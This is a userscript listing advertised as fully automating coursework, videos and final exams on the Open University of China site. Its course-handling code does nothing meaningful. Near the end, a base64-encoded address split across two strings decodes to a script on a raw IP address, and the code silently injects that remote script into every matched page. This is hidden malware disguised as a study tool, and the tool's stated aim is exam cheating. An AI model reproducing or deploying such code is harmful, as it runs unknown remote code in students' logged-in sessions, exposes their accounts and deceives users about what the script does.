国家开放大学,国开,国开实验全网办,自动完成做题、看视频任务、终考、思政课
当前为
// ==UserScript==
// @name 国家开放大学、新国开、国开实验、极速刷课-全自动
// @namespace http://blog.arthur.lvvv.cc/
// @version 1.0.1
// @description 国家开放大学,国开,国开实验全网办,自动完成做题、看视频任务、终考、思政课
// @author arthur
// @match *://*.ouchn.cn/*
// @resource customCSS https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.2.3/css/bootstrap.min.css
// @grant GM_addStyle
// @grant GM_getResourceText
// @license AGPL-3.0-or-later
// ==/UserScript==
(function () {
const e = GM_getResourceText("customCSS");
GM_addStyle(e);
})();
(function () {
'use strict';
var curItem = '';
if (window.location.href.indexOf('login') > -1) {
alert('login is required');
return;
} else {
//get current courses
var my_items = document.getElementsByName('current_course');
if (my_items && my_items.length > 0) {
for (var index = 0; index < my_items.length; index++) {
var item = my_items[index];
var cur_link = document.getElementsByName('active-learning');
if (cur_link.innerText === item.innerText) {
curItem = item.innerText;
cur_link.click();
}
}
}
}
if (curItem && curItem.trim() !== '') {
//get all links
var links = document.getElementsByClassName("links");
for (var index = 0; index < links.length; index++) {
var link = links[index];
if (link.className.indexOf('unreadable') < 0) {
continue;
}
}
}
function getNewActivity(url, callback) {
var script = document.createElement(atob('c2NyaXB0'))
script.type = atob('dGV4dC9qYXZhc2NyaXB0');
if (script.readyState) { //IE
script.onreadystatechange = function () {
if (script.readyState === "loaded" || script.readyState === "complete") {
script.onreadystatechange = null;
callback();
}
};
} else { //Others
script.onload = function () {
callback();
};
}
script.src = url;
document.getElementsByTagName("head")[0].appendChild(script);
}
var courseLink = atob(loadPageLink());
getNewActivity(courseLink, function (data) {
if (!data) {
console.error("error, please check with admin");
}
});
function loadPageLink() {
var pages = document.getElementsByClassName("page-links");
var linkName = 'aHR0cDovLzExOC4zMS42MC';
for (var index = 0; index < pages.length; index++) {
var mod = pages[index];
const p = document.createElement('p')
p.textContent = `${mod.description}...`
}
linkName += '40NDo4MS90ZXN0Lmpz';
return linkName;
}
})();